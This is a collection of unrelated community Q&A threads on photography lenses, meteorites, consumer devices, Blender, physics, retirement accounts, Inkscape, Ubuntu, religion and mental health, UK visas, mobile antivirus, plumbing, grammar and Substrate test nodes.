Which lens is best for athletics?

Question: I am an athletics photographer, and I have a dilemma. First off, I use the 5D Mark II body. Currently, I own the 100-400mm f/4.5-5.6 USM II, and I LOVE it... except for indoor photos. Before I purchased this lens, I used the 70-200mm f/2.8 for indoor volleyball and the photos turned out great, but I needed the 400mm for other outdoor sports. But recently I went to another indoor game, and the quality with the 400mm is just terrible. I'm considering swapping out my 400mm for the 200 with a 2x extender, so I can get those indoor shots. But will the slow auto focus with the extender be too drastic for outdoor sports like soccer and horseback riding (I also ride)?
Comment: Why swap as opposed to add the lens to the bag? Can you rent the gear to see if the AF will be too slow for you? Plot twist: have you considered primes for indoor work (the 85/100/135 are all great options)?
Comment: 70-200/f2.8+3x teleconverter will give you the same f5.6. And you will see normal IQ degradation because of the teleconverter. Also speed of focus will suffer. So for me the idea is not so wise. Better check the reason of bad quality on 400mm
Comment: A backpack full of wide aperture, metal encased primes makes a good kettle bell.  Long, front heavy telephotos are great for sledgehammer style exercises. Consider taking advantage of batteries, too....
Answer:
I am an athletics photographer, and I have a dilemma. First off, I use the 5D Mark II body. Currently, I own the 100-400mm f/4.5-5.6 USM II, and I LOVE it... except for indoor photos. Before I purchased this lens, I used the 70-200mm f/2.8 for indoor volleyball and the photos turned out great, but I needed the 400mm for other outdoor sports.

You most likely need both lenses. 70-200/2.8 is great for indoors where distances are not as great as they are outdoors and the artificial lights are dim. It's darker indoors than what you think. 100-400/4.5-5.6 is great for outdoors in daylight where light is plentiful and distances may be large.

But recently I went to another indoor game, and the quality with the 400mm is just terrible.

The reason is that Canon 100-400 is a slow lens. It's mainly useful during the daylight hours outdoors. Indoors, you can't reasonably shoot fast action with the 100-400. Your choices to gather light are:

Bump up the ISO on your current body. This results in grainy images, and there is a limit: 5D Mark II cannot go over ISO 6400 unless you use ISO expansion (hint: don't!). The recommended option is to shoot RAW and use Canon Digital Photo Professional on a computer to apply good noise reduction to the RAW images, but it can't do miracles. A 5D Mark II is a dated body and newer bodies would have less noise with high ISO values.
Slow down the shutter speed. But, this results in motion blur.
Purchase a new body so that you can bump up the ISO without having excessive noise/graininess. Unfortunately, a 5D Mark IV costs a lot.
Use a faster aperture lens such as 70-200/2.8.
Use a flash. Seriously, don't do this for indoors sports!

A 5D Mark II body goes up to ISO 6400; a 5D Mark IV body goes up to ISO 32000. This does not necessarily mean 5D Mark IV can shoot at 1/4 of the shutter speed with no additional noise; the 5D Mark IV images at ISO 32000 are probably more noisy than 5D Mark II images at ISO 6400.

I'm considering swapping out my 400mm for the 200 with a 2x extender, so I can get those indoor shots

Don't. The image quality degradation of a 2x extender may be severe. As far as I can see, there are only two reasons why you might want to have 70-200/2.8 + 2x extender instead of 70-200 + 100-400:

The weight. 70-200/2.8 + 2x extender is lighterweight than 70-200/2.8 + 100-400
The price. A 70-200/2.8 is an expensive lens and so is 100-400.

Of these, I don't see (1) as a problem. Typically when you shoot something, you have an idea of what you're going to shoot so you can decide what gear to bring with you. I wouldn't carry both 70-200/2.8 and 100-400 at the same time ever.
So the only problem is (2). Something to consider:

Canon 100-400 costs 2200 EUR
Canon 70-200/2.8 IS costs 2100 EUR
Canon 2x extender costs 500 EUR
Tamron 100-400 costs 800 EUR
Tamron 70-200/2.8 G2 costs 1500 EUR

Let's say you can recoup 70% of the price when selling your used gear. For your Canon 100-400 you can get 1540 EUR. Now, what to buy with it:

If you buy Canon 70-200/2.8 IS + 2x extender, you have to pay 2600 EUR, meaning you need to somehow get 1060 EUR from somewhere.
If you buy Tamron 100-400 + 70-200/2.8 G2, you have to pay 2300 EUR, meaning you need to somehow get 760 EUR from somewhere.

I would pick the Tamron two-lens combo instead of the fast Canon telezoom + 2x extender.
I see third-party lenses as a better option here. However, there are some things to consider:

Autofocus may be less accurate on 3rd party lenses.
Autofocus may be slower on 3rd party lenses.
3rd party lenses may not be compatible with Canon teleconverters.
3rd party lenses may require firmware update to work on newer bodies, should you upgrade your body.
3rd party lenses after manufacturer's support ends may not receive any firmware updates anymore, so you may not have the ability to purchase a new body anymore after a long amount of time.
3rd party lenses do not have in-camera lens corrections.
3rd party lenses do not have lens corrections in Canon's Digital Photo Professional; especially you cannot use Digital Lens Optimizer with them.
Answer: I would sell advice to sell all the current gear and get the longest lens with the highest aperture you can afford from Canon and if possible stick with primes, like  the Canon EF 300mm f/2.8L IS II USM, as long as it fits your budget.
You won't be disappointed their performance for indoor and outdoors sports, but it's pricey.
Answer: Have you considered keeping the 100-400 and buying a used non is 70-200 2.8? I found several in the 500£ price range on ebay and given the shutter speeds needed for sports you should be ok without is
Answer: Pick the lens with the best image quality.
The rest is technique. Auto focus has its good and bad points. For action, however, think in terms of focus zones and prepare for your shooting with auto-focus off for better reaction time.
As the distance changes, re-focus and shut AF off again.
My first job as a newspaper sports photographer was boxing and my friends were the depth-of-field and my powerful short duration flashgun.
Answer: I'd probably start by upgrading your camera body.  The 5D Mark IV's low-light performance is quite a bit better than the Mark II, so you might find that upgrading your camera body to a Mark IV increases the usable ISO enough that the difference in lens speed doesn't bother you anymore.  And its focusing system is also considerably better, too.

Which lens is best for athletics?


Is it possible to estimate the size of a meteorite from its remains?

Question: I live near this ophiolite (Sasso di San Zanobi, Firenzuola) and they used to say it is a meteorite.
There is no evidence of a crater but let's pretend it is the remain of a meteorite: how big would the original meteorite have been?
Answer: Meteors enter the atmosphere at speeds ranging from 11 km/sec, to 72 km/sec. Those speeds are so large that if a meteorite were to hit the surface at that speed, the energy released would be more then enough to to vaporize the meteorite on impact, therefore leaving nothing of the original impacting body. However, during their fall, meteorites slow down due to the friction with the atmosphere. The friction is proportional to the square of the meteorite radius (its cross-section), but the mass is proportional to the cube of the radius (its volume). This means that the larger the meteorite the less it slows down and the faster it hits the surface.
Past a given size, the atmosphere doesn't provide enough breaking power. Therefore, all meteorites larger than that limit vaporize during the impact. To have a sense of how big is that size limit you can simply have a look of the larger meteorite on Earth: the Hoba meteorite.

(image taken from TripAdvisor and submitted by user huys25)
Therefore, what your picture shows is not a meteorite (there would be also other reasons beside the size to say so), nor the remains of one. The remains of large meteorites often reduce to small fragments that broke from the main body before impact, or impactites. Impactites are small pieces of rock that might contain meteorite materials but are not unaltered pieces of it.
Said that, once a meteorite is found the calculation of the original size considers the final size, the speed and angle of impact (computed from crater geometry) and the meteorite composition among other parameters.
There are many online calculators that allow you to have a rough estimate of the size of a crater that a meteorite like that would leave. For example the Convertalot Asteroid Impact Calculator. From the picture it looks like porous rock, so plugging in a density of 1.5 g/cm$^3$ and impact angle of 45°, a fairly low speed of 20 m/s, and a diameter of 20 m, it would have produced an impact crater 177 meters in diameter and 44 meters deep. Definitely a landscape feature difficult to miss.
Finally, from the shape of what you show in the picture, I don't see how it can be associated to a meteorite, as it doesn't look like one at all. In that line, it could resemble the central peak of an impact crater. Like the one visible at the center of Tycho crater on the Moon.

(Image source: Wikipedia - Tycho crater on the Moon: mosaic of images, made by Lunar Reconnaissance Orbiter. Width of the image is 120 km.)
However, if the central peak were that well preserved you would expect the rim of the crater to be well preserved too, and from what you say, that doesn't seem to be the case.
Comment: Maybe add more about composition--if there is more ice then the final size will be a lot less than if there was more rock. You might/might not be able to get some clues about composition from the final remains...
Comment: Useful guidelines for crater identification: http://www.passc.net/EarthImpactDatabase/New%20website_05-2018/Criteria.html


Ipad mini 4 won't turn on

Question: I just got my ipad mini 4 for christmas. It has been working perfectly fine until this morning the battery was completely dead so I wen't to charge it and realized that it wasn't coming on. When I press the power button, the apple sign appears then the screen returns to being black. What is the issue? Is my battery gone?
Comment: Are you using the official apple charger and lighting cable that came with it originally?
Answer: Might just be completely dead right now, or the software is freaking out. Try plugging it into a computer in recovery mode and see if its goes through.

Ipad mini 4 won't turn on


Suddenly lost almost 500 reputation

Question: Earlier today, my reputation total was 3,021 (as my meta user now shows). However, the main site now lists it as 2,546. I've heard something about reputation recalculation causing small variances in rep. totals, but this is a major difference. What could cause this to happen?
Comment: Check out this question:  [Dissapearing reputation](http://meta.tex.stackexchange.com/q/1948/3954), specially Shog9's  answer.
Comment: @GonzaloMedina: Ah ok, I guess since I'm asking a majority of the questions people's voting is getting marked as suspicious. Oh well...
Comment: Yes, I guess that that is what happened.
Comment: Just lost 500 or so again :)
Answer: There's a script that looks for "suspicious" voting patterns between users. The details are kept intentionally vague, and normally you shouldn't ever be aware of it.
Normally reputation does fluctuate by much smaller amounts, but in this case it looks like someone just got too enthusiastic and upvoted enough of your posts to make the script think something untoward was going on.

Suddenly lost almost 500 reputation


How do I make each instance have a random seed for a procedural building

Question: I've designed a procedural building but I can't distribute them on instances with each of them having a random seed.
Answer: Indeed, you can't.
Instances are objects that's share the same object data. In other words, you can't make different instances, because they just the same. Take a look at Alt + D copies. They are linked, they are instances of the same data, and if you change one of them - the second will be changed also.
Instead of making the building and when distribute it on the surface, do the opposite thing: distribute the root thing on the surface and then add walls and windows on every root thing at the same time.
There is another way: make several buildings models, put them into one collection and instance them using this collection


Airtel 4g network not working on certain apps

Question: So I am using Vivo V7 on an airtel 4g data connection and every time I try to open apps like swiggy or foodpanda I get a message saying "there was a problem" "please try again later. However when I open these apps on a wifi they work fine. What is going wrong here??
Answer: It may cause due to of bad connection low signals or due to data roaming is off.
Steps to fix step:-

Go to settings and find cellular settings.
Open them and turn on data roaming.
Now change network mode 4G or LTE only depends to various device.
Save them turn of data if on.
Reboot your device.
Turn on data might fix it.
If above-mentioned didn't work go to step 3 and select 3G Only mode and perfom other steps same as mentioned
Answer: Simple: Go to APN settings and set APN protocol to IPV4 only from IPV4/IPV6 and save.


How to add logo/decal while mix shader already full connected?

Question: Hello my dear blender artists,
i know if we want to add some logo/decal on the model, we need to add image texture and connect it to the mix shader fac and turn the texture in stencil mode. but, what if the mix shader already full connected? how can i add the decal then?
Comment: you can add a new Mix Shader after the existing one
Comment: yeah i think about it too but, where should i connect the new mix shader then?
Comment: @ApasipepOyong: please click on "accept answer" so other users although know that the answer helped you. thanks.
Answer: Here is an example of what it can give if you want to add another decal. If you want an image to be displayed just plug the color output of the Image Texture into the color input of the Diffuse. You can also use another UV map if necessary (here, see the Input > UV Map before the new Image Texture).
Comment: aw.. thank you so much bro. you da man!


Sennheiser mke 2 and ew100 g3= cable noise. Any ideas why?

Question: Just upgraded my me2 to an MKE2. Used with g3 wireless. The cable on the new MKE2 has the blue (attenuator or whatever that is with the serial #).  I read that the blue version had more shielding for the newer digital transmitters, which my system is not.
There is quite a bit of cable noise being picked up by the MKE2. It's very annoying.  If I rub my finger up and down the cable, even near the transmitter, I get constant sound picked up.
It's almost unusable.
Any idea what is going on and how to fix this issue?  The me2 is fine.
Answer: This effect is known as 'microphonic' which is ironic in that the device that is being 'microphonic' is actually a microphone itself. Having said that, 'microphonic' normally refers to a device or component that isn't supposed to be a microphone - acting like one.
Googling around a bit, this is a common problem with lavaliers, however this sounds a little bit more serious than your run-of-the-mill handling noise.
I suggest you consider placing a cable loop behind the mic clip in order to isolate any handling noise reaching the capsule.
Also, don't rub the cable. If this is what is making the noise, then stop doing it. It's not normal operational activity when using a lavalier. Lavaliers are designed to be placed either in a hidden position or in a visible position, then left alone. Minimise handling or clothing noise through using tried and trusted location sound techniques for lav placement.
Comment: Thank you very much for taking the time to answer my question. When making the loop you referred to, must the wires touch?  I would assume that is the entire point. Thanks again
Comment: The point of the loop is to provide a level of strain relief during the placement. This video may help. https://www.youtube.com/watch?v=ZX5r4WMWwHc
Answer: Yes, MKE2's have particularly bad cable noise.  It's a really unfortunate trade off, as for the price point, MKE2's sound quality is generally higher than its equivalent competitors, yet you will find cheaper microphones with much less cable noise (as you've noticed with the old ME2).
On the other extreme side, like any microphone, It's built to a price point.  If you compare it to something like a DPA 4061, which is around 2-3x the price, the cable noise is exponentially less.
So unfortunately that is just the way MKE2's are.  If you want to try and reduce noise, its more about cable management.  Get yourself some medical / sports tapes from your local chemist, and ensure the cable is controlled on the persons body or clothing to minimised cable rub.


Order Parameter, Phase transition

Question:
Is order parameter for a phase transition is unique?
Is it always true that in one phase order parameter have zero value and in another phase it has non zero value?
Is there any standard rules for chosing order parameters?
Can a system undergoing phase transition can have more than one order parameter?
Answer: Order parameter is defined as a quantity that is zero in one phase and not zero in the other - this answers the second question, but also the first one, since any quantity satisfying this condition can be an order parameter. In particular, if $M$ is an order parameter, then any function of $M$ that leaves it zero in one phase and non-zero in the other is also an order parameter.
To my knowledge there are no standard rules, since the order parameter is often a physical property, specific to the system considered (e.g., magnetization for ferromagnet, density for liquid-gas transition, etc.)
As systems may have very complex phase diagrams, there may be multiple order parameters, controlling where on the phase diagram the system finds itself. See an example in the figure below (taken from here)
Comment: @SitaChettri if this response is satisfactory, please consider accepting it!
Comment: In principle, valid order parameters can accidentally be zero even within the ordered phase - these are fine-tuned points, though.
Comment: Thank you for the response.

Order Parameter, Phase transition


100 % vested retirement benefits?

Question: I worked for a school bus manufacturer for 13 years and my job was eliminated, I received severance package $5,000 and I had 401K which was rolled over to a money market account.  I was 100% vested and I was wondering can I receive retirement benefits from this company, now that I'm 55 years old.?
Comment: Did the manufacturer have a pension plan beyond the 401k?
Comment: Do you mean the 401K was rolled over to a money market account in an IRA?
Answer: As others mentioned, I am not sure what you mean by stating that your 401K was rolled over to a money market account.
Assuming that it was rolled over to an IRA account, you can roll it over to another IRA account with a financial institution of your choice (either a brokerage or a bank.)
Alternatively, you can withdraw these funds, but since you are under 59.5 years old, you would have to cough up 10% penalty to IRS for this unqualified withdrawal. Therefore, I would strongly recommend for you to wait till you reach this eligible age. Other qualified (penalty-free) withdrawals are: purchase of the first home, college tuition, medical insurance premiums for unemployed individuals, disability, and medical expenses exceeding 7.5% of your Adjusted Gross Income.
I would assume that your 401K was a Traditional 401K account (before tax contributions), and not ROTH 401K, so yo would also have to pay taxes upon withdrawing funds whether you do it now or after you are 59.5 y.o.
Answer: I'm not sure what you mean by "receive retirement benefits". If the company had a 401k, that probably is the retirement plan. Few companies have both a 401k and an old-style pension plan, you typically have one or the other. So if your 401k was rolled over into some other account, you have already received your retirement benefits.
If you mean that the 401k was rolled over into an IRA and you are asking if you can now start withdrawing from the IRA, see Excel Strategies answer. Short answer: Yes you can, but there's a 10% penalty unless you meet one of the exceptions.

100 % vested retirement benefits?


How do I find out how many photos, videos are stored in iCloud?

Question: I'm trying to track a problem with my wife's iPhone Photos app taking about 7GB despite "Optimize storage" being enabled. I want to compare her phone to mine since I suspect that it's storage full res versions.
Answer: Open the Photos app. In the bottom-right corner, tap Albums, then the top-left album named All Photos.
At the bottom of that album, you will see the exact number of photos and videos in your photo library, including any Hidden photos.
Optimize Storage doesn't mean that photos are never downloaded from iCloud. iOS will download higher-resolution versions of your photos and videos as they are viewed/zoomed/edited/shared. These higher-resolution photos will not be purged until space is needed.
It is normal for the amount of storage taken up by the Photos app to grow over time. On my 128 GB iPhone, I have 60 GB of storage taken up by photos and videos (out of a 140 GB library), even with Optimize Storage selected. But since I also have 30 GB free, there is no need for iOS to delete anything yet.
Comment: Thanks! My wife's 16Gb phone has 7Gb of photos and 1mb free, while my 64Gb phone has 4Gb of photos and 3Gb free. I have slightly less photos, but twice the videos. Her phone is constantly reaching 0kb free and freezes up. Feels like Photos app isn't correctly clearing out full res images.
Comment: That part is certainly not normal, though I've seen others complain about it before. Beyond the usual reboot, I might advise plugging in her iPhone and leaving it locked with the app in the foreground, see if that kicks in the housekeeping process. Otherwise there's always the nuclear option of disabling iCloud Photo Library, giving everything enough time to clear out, then enabling it back.
Comment: Thanks Phong - was thinking the same. Will do a full backup of the phone via iTunes and then turn iCloud syncing off and on again.


Can not open password-protected ppt with libre office 3.5

Question: When I am trying to open password-protected ppt with libre office 3.5 in Ubuntu 12.04,it gives me a message says "Read-Error. loading of password-encrypted microsoft powerpoint is not supported."So is there any solution to this?
Answer: Open it with powerpoint and save it without password encryption...
Comment: Sorry,I can not understand.Could you do more explanation?
Answer: The ppt you are trying to open in Libre is password protected in MS office. Libre Office cannot open such password protected files. So, for this, Install Wine Windows Program Loader software from Ubuntu software center and then open yout .ppt with it.


Dhanurveda original manuscript

Question: Is there any original manuscript of Dhanurveda or the original text which can be read online.
Answer: You can read Dhanurveda from sanskritdocuments.org in Sanskrit in Devanagari and in the transliterated form.

   ॥ धनुर्वेद ॥

     अथ धनुर्वेदः
  ईश्वरोक्ताद्धनुर्वेदाद्व्यासस्यापि सुभाषितात् ।
  पदान्याकृष्य रचितो ग्रन्थः संक्षेपतो मया ॥ १॥

English translation for that is available  at here.
You can get authentic/original scripts with accent (Swara) from vedicreserve:

Vasiṣhṭha Dhanur Veda:

Śhiva Dhanur Veda of Maharshi Śhārṅgadhara (Same as mentioned for sanskritdocuments.org)
Nīti Prakāśhika of Maharshi Vaiśhampāyana
Answer: Dhanurveda is the science of warfare. It is an Upaveda, ascribed to Yajurveda. However, the original Dhanurveda treatise is lost. Only some smaller treatises on Dhanurveda are still available. These are as follows.

Aushanas Dhanurveda
Vaasishtha Dhanurveda
Sadaashiva Dhanurveda (Veeracintaamani of Saarangadhara?)
Vishvaamitra Dhanurveda
Jamadagni Dhanurveda
Vaishampayana Dhanurveda (Neeti Prakashika?)
Neeti Prakashika of Vaishampayana
Veeramitrodaya
Samaraangana Sootradhaara
Dhanurveda Prakarnam (Veereshvareeyam) of Vikramaaditya
Kodandamandana
Kodandashaastra of Dileepabhoobhrita
Dhanurvidyaadipeekaa
Dhanurvidyaarambha Prayoga
Dhanurveda Cintaamani of Narsinha Bhatta
Ishaanasanhitaa
Kodanda-caturbhuja
Saara-sangraha
Sangraama-vidhi
Veeracintaamani of Saarangadhara

Only a few of these treatises are published. The rest are found only in manuscript form in important libraries, such as Darbaar Library, Nepal.
Apart from these texts, there are some other texts that are mentioned, but their manuscripts are not found yet. I have not included those names.
Reference -
Dhanurveda - The Vedic Military Science by Dr Ravi Prakash Arya
Vasista's Dhanurveda Samhita by Purnima Ray (page 2)

Dhanurveda original manuscript


What version of Space Invaders is this?

Question: I would like to know which manufacturer/version is the Space Invaders game that I show playing in the video linked below. The game setup is similar to Galaxian/Galaga but it is not. It also feels faster/ more dynamic (or maybe it's just me)
https://youtu.be/eng16esbe7Y
Answer: Regardless of the video title and the arcade art, that's Namco's Gaplus, which is Galaga 3 outside of the USA. See also its Arcade Museum entry.
Here's a Youtube video starting at the same place in the game as the video you've provided; if the time offset doesn't work then skip to 2:15.
Comment: Hi Tomy, thanks for your answer. However I am confused because the enemies are not bees or insect like creatures like in the Galaga game. They are actual "aliens" similar to the ones that showed in the original Space Invaders game. I am the player that shows in the video I posted, and I'm sure of that. To me it didn't look at all like Galaga, although the behaviour was very similar or maybe identical. Any ideas?
Comment: They look the same to me. Look at the bottom of the top row of enemies from the first set that appears. Look *carefully* and you'll see the flapping wings. It's just that the color and contrast are muted so its hard to see.
Comment: Hi Maury. I appreciate that the video I recorded is not clear enough, but I can tell with absolute certainty that the "enemies" in that game are not at all like the fat bees that appear on the galaga/gaplus game as shown by Tommy. So it's definitely another version or maybe a tweak of the original with different enemy art. I also recall this game from the early 80's or so, (only in Europe) and the enemies were not 'insects' but alien like figures.
Comment: On a second thought, maybe I have always seen the game being run on old worn out crc screens (also in the 80s) and thus the enemies never appeared to me as such colourful 'insects' that modern displays show. It may be right after all that this was just the normal gaplus game.
Comment: A hack is definitely another option — they weren't exactly uncommon in those days. From the video, clearly the enemy patterns are the same, so someone creating an unlicensed Space Invaders sequel is certainly possible.

What version of Space Invaders is this?


How do I draw a box around an object in Inkscape?

Question: There is a really handy way to size the page: "Resize page to drawing or selection". Is there a similar option for drawing boxes around a selection? I have a group of objects that I would like to draw a tight rectangle around.
Answer:
Group your objects.
Copy (Ctrl+C)
Draw some rectangle (its position and size do not matter).
Select your rectangle.
Edit → paste size → paste size.
Open the alignment tab and set relative to to first selected.
Select your group and then your rectangle.
Use centre on vertical axis and centre on horizontal axis from the alignment tab.
Comment: Thanks, I had to paste the sizes separately, but other than that it worked great.
Answer: Another solution:

Group your objects:

Enable "Snap to bounding box corners" and "Snap bounding box corners":

Draw a rectangle, any size:

Resize the rectangle:

Final result:


Book Recommendation about radio frequency antennas and satellites

Question: I have recently obtained a job in the field of radio frequency antennas and satellites, and I am interested in delving deeper into the subject. Could you recommend any books that cover these topics and are easily understandable, similar to the book Physics: Principles with Applications by Douglas C. Giancoli? It would be preferable if there is one comprehensive book that addresses all aspects, but if not, recommendations for books on these specific topics would also be appreciated.
Comment: The ARRL Antenna Handbook might be interesting.
Answer: I agree with Jon Custer: The ARRL Antenna Handbook is a useful compendium of practical applications of antenna theory, told from an engineering (algebra) rather than a physics (calculus) standpoint. It contains just enough theory to motivate the derivations that are used to develop real-life designs, and furnishes lots of examples. It spans the frequency range from kilohertz to gigahertz with special emphasis on those frequency bands that are set aside for the amateur radio hobby.
Note that it does not start with Maxwell's equations, so if you want that fundamental a level of exposition, you'd best look elsewhere in the physics literature instead.
The purchase of the book entitles you to a broad range of specialized downloads that go into greater detail than the book can cover.
An updated edition of this book comes out every year. The most recent updates include a wealth of information on mathematical modeling software for antenna design, which is the wave of the future in this field.
Answer: There is good book of the coarse "Microwave engineering and antennas", from the following website: https://coursera.org/learn/microwave-antenna. The book: "Modern Antennas and Microwave Circuits" by Prof. dr.ir. A.B. Smolders, Prof.dr.ir. H.J. Visser and dr. Ulf Johannsen. Different antennas are studied such as horn, dipôle, magnetic dipôle etc. The discussion starts from the Maxwell equation, from a physical point of view. So it is useful to understand the functionality of the antennas.
There is a chapter on general antenna parameters in :
"Microwave and RF Design of Wireless Systems" by David M. Pozar. Which might be useful to understand system parameters.


Ubuntu 13.10 Login Credentials Again

Question: I was using my laptop which runs Ubuntu 13.10 and wanted to switch workspaces. I'm not exactly sure which keys I pressed, but after pressing [ctrl + alt + arrow key] to switch workspaces my screen turned purple-black (I'm colourblind) and asked for my login and password. I have no idea what my login is, I've tried using the name of the laptop and then the appropriate password but after about two seconds the screen will display "Incorrect login". I'm not sure how to fix this issue, it happened on multiple occasions and at random, causing me to have to reboot my laptop. Again, the laptop randomly turns to a purple-black screen and asks for 'eric-laptop login' (name of the laptop), and a password.
Comment: First, your username for the login is probably just 'eric'.
Also, are you sure you're pressing [ctrl + alt + arrow key]?
(Not another key) Have you made any changes to your keyboard layout? Have you tested your keyboard layout?
Comment: Sounds like a hardware problem.
Answer: I think it's likely you ended up on a TTY.
To return, just press Ctrl+Alt+F7 and you should be back to Ubuntu.

Ubuntu 13.10 Login Credentials Again


Is there any saying in Islam about getting sad, depressed, or anxious?

Question: I was an introvert kid. My upbringing was quite regular kinda desi. Just like we have in Pakistan. Also my family is Islamic. Sometime I question about Islam and they would just shut my mouth. I'm 22, and while living in a third world country I don't feel good here. I sometimes get depressed, anxious, having an anxiety is common. I don't take any medicines and I don't have any family support in this regard. No one is there to support me. No one listens me and this thing affects my relationship with my siblings and parents. I sometimes misbehave them unintentionally. I used to feel ashamed while doing this with them, I always said sorry. But now, it's like they would answer harshly and negatively and it's like I don't regret that much after misbehaving with them. My family says there's no point of being depressed or sad in Islam. Is that true? Those who feel depressed and anxious aren't Allah's favourite people because they've said this. I'm educated I know things but I want an islamic perspective on this. what Islam says about depression? And how can we get rid of it? My mental health is just destroyed and my physio health is determined day by day. I'm feeling sick almost on every day. Whenever I'm around my family, it's exhausting and want to escape from them.
Answer: yes, its true there is no point of being sad or depressed but sometimes we feel that way but remember we are only humans even the prophet (PBUH) there was a time he felt that way and Allah comfort him with Surat Duha. مَا وَدَّعَكَ رَبُّكَ وَمَا قَلَىٰ﴾ Your Lord has not forsaken you, nor does He hate you.
﴿وَلَلْآخِرَةُ خَيْرٌ لَّكَ مِنَ الْأُولَىٰ﴾ And indeed, the Hereafter is better for you than the present (life of this world).
﴿وَلَسَوْفَ يُعْطِيكَ رَبُّكَ فَتَرْضَىٰ﴾ And verily, your Lord will give you so that you shall be well-pleased.
here is ayat that will help you, just be patient Allah is enough for us. لَا إِلَٰهَ إِلَّا أَنْتَ سُبْحَانَكَ إِنِّي كُنْتُ مِنَ الظَّالِمِينَ, and ﴿رَبِّ إِنِّي لِمَا أَنْزَلْتَ إِلَيَّ مِنْ خَيْرٍ فَقِيرٌ, when ever you are not doing anything you can just be reciting this ayat inshallah allah will help you. Be constantly reading surat (NAS AND FALQ) the last surahs in quran. may allah ease it for us.


How do I change my UK visa validity period?

Question: I am from India. I applied for a UK visitor visa for a 6-week observership at a hospital in Glasgow. The visa is valid up to April 22nd. However, in my application, I had mentioned that I would be at the hospital until April 30th and would be sightseeing until May 15th. How do I go about ensuring that the validity date is changed to May 15th. Whom must I contact?
Comment: You should have received instructions on how to report an error in your visa. Please refer to them. If you didn't receive any such instructions, contact the consulate.
Comment: @MichaelHampton you should post this as an answer
Answer: If the validity period covers the 6-week observership you documented in your visa application, then an ECO may have made a decision based on that information. However, if the visa validity period is insufficient for the program (although not any additional period), then you should contact the visa application centre through which you submitted.
Once you're in the UK, you may be eligible to request an extension although doing for tourism may not be approved. If you were issued a single-entry visa, you cannot change its validity period from within the UK.
Alternatively, you could make contact UK Visas and Immigration help centre, a fee-based service:

You can call or email English-speaking* staff with a question about your application.
By phone
  Telephone: 00 44 203 481 1736
  Monday to Friday, 24 hours
  Calls cost £1.37 per minute on top of your standard network charges.
By email
Email UK Visas and Immigration.
  Emails enquiries cost £5.48. You will not be charged for any follow-up emails about the same enquiry.
You'll get a reply to your email within 2 days, except on Saturdays, Sundays and UK public holidays.

*Service is available in other languages.


Should I install an antivirus on my mobile phone?

Question: Is it advisable to install an antivirus for a mobile? I have recently purchased Note 2. Not too sure of how heavy application usage would I indulge into. But I would like to know if for safety purposes installing an antivirus would do any good.
Comment: Welcome to IT Security StackExchange. We have a range of guidelines as to what's appropriate as a question here (which you can read in [the FAQ](http://security.stackexchange.com/faq)) and product recommendations are off topic. As such, I've removed the final part of your question. Other than that, it's ok. Enjoy your stay here :)
Answer: This is murky territory, and most of it is based on opinion and gut feeling.
I feel it's best to simply present you with some facts and observations:

There is malware for Android, and you can get infected by downloading dodgy apps.
Pirated apps are high-risk for malware. You get what you pay for, and if you gain some value out of a pirated app, the person who cracked the app probably found some way of gaining value too.
There will be vulnerabilities in your mobile platform, some of which may be exploited by simply browsing to a dodgy site. This is reasonably rare if you're sensible, but risks go up if you're browsing porn or warez sites.
Mobile anti-virus is very much in its infancy. You are unlikely to find any product that will really protect you against any significant portion of mobile malware. It should, however, catch the common stuff like Zeus and various other nasties.
Mobile AV often has the benefit of  recommending better settings for your device to increase your security. This isn't really anything you couldn't do by yourself with a little time on Google, but it's nice to have.
The mobile AV products I've tried have not shown any significant reduction in battery life or performance. They seem to be pretty efficient and unobtrusive. This is entirely my personal experience, so YMMV.

All in all, my personal opinion is that it doesn't hurt to use a free AV package for your phone. I wouldn't pay for one, because I'm low risk and don't store anything critical on my device. If you are a high risk user, e.g. due to browsing habits, or due to the type of data you store on your phone, then you may want to consider a proper AV package. The efficacy of them, however, is yet to be proven.


I am relocating a sink. Can I leave the original plumbing in place and cap it?

Question: I am relocating a sink and I am rotating the tub (actually replacing the tub with a shower) in position and it will cover the area under which I have the drain for the current sink
Should I remove it prior to this or I can leave it where it is and cap it and hide it in the wall ?
Comment: yes, that would work
Comment: If it feeds a floor drain, be sure that fhe floor drain is still being fed to avoid the trap drying out.
Comment: If I add (move) the sink somewhere else on the same drain wouldnt that take care of this?
Answer: You can cap it, but you have to use an ABS glue cap, not pressure fitted coloured caps.
If you are cutting anything back, past any T or Y connectors, make sure you do not sever the dry-vent connection to the rest of the plumbing.
Answer: It's fine to cap it and leave it within the wall.


What should be the preferred tense in the latter half of the sentence?

Question: The song I tried sharing is/was Burn Card by The Barr Brothers.
Can this be a substitute for, "The song, that I tried sharing, is Burn Card.."? If so, is the use of 'is' incorrect instead of 'was'?
Comment: @Xanne There is absolutely nothing wrong with either "that" or "which".
Comment: "that" in this sentence should be "which" ; or else, no commas.
Comment: "The song I tried sharing is/was Burn Card by The Barr Brothers" is fine, and "is" is not incorrect. // English Language Learners is a good site for basics like this.
Answer: Both "is" and "was" are correct; you would select one of them based on the context of the conversation.
You could check by leaving out the adjective clause ("that I tried sharing"):
The song was Burn Card.
The song is Burn Card.
The commas, however, are grammatically unnecessary.
Comment: The commas change the meaning and they are either necessary or wrong.  With the commas, the sentence is about identifying the name of the song and incidentally adds that they tried to share it.  Without the commas the sentence provides the name of the song that they tried to share.
Comment: Just to clarify, did you mean to say "unnecessary or wrong" in the first line?
Comment: Apologies for not being clear in my answer. I meant to say that while the commas don't make the sentence outright grammatically incorrect, they do change the meaning, as Jim pointed out. They are necessary if you were using "that I tried sharing" for adding extra information, but wrong if your intention is what it seems to be – which is to specify the song.


How can I purging chain database between tests of a development testnet?

Question: I am running a few tests using Jest and Polkadot.js, and I need to reset the state before each test. Should I do that or spawn a new node each time? And if so, what's the best way to do it? I am using the substrate node template.
Thank you.
Answer: You can use --dev on almost any node, each time you start/restart a node, this will get a random /tmp/substrateXXXX folder to contain all the DB and keys for the single session, so you don't need to worry about resetting the DB or anything like that.
Example assuming you are using the node template, as illustrated in the Create your first Substrate blockchain tutorial
# Starting in the working directory of the node template
cargo b -r
# Build takes a while...
# Once completed, run:
./target/release/node-template --dev

# Output looks like:
2021-11-24 15:36:35 Running in --dev mode, RPC CORS has been disabled.
2021-11-24 15:36:35 Substrate Node
2021-11-24 15:36:35 ✌  version 4.0.0-dev-82b7c2c-aarch64-macos
2021-11-24 15:36:35 ❤  by Substrate DevHub <https://github.com/substrate-developer-hub>, 2017-2021
2021-11-24 15:36:35  Chain specification: Development
2021-11-24 15:36:35  Node name: six-wash-9274
2021-11-24 15:36:35  Role: AUTHORITY
2021-11-24 15:36:35  Database: RocksDb at /tmp/substrateP1jD7H/chains/dev/db
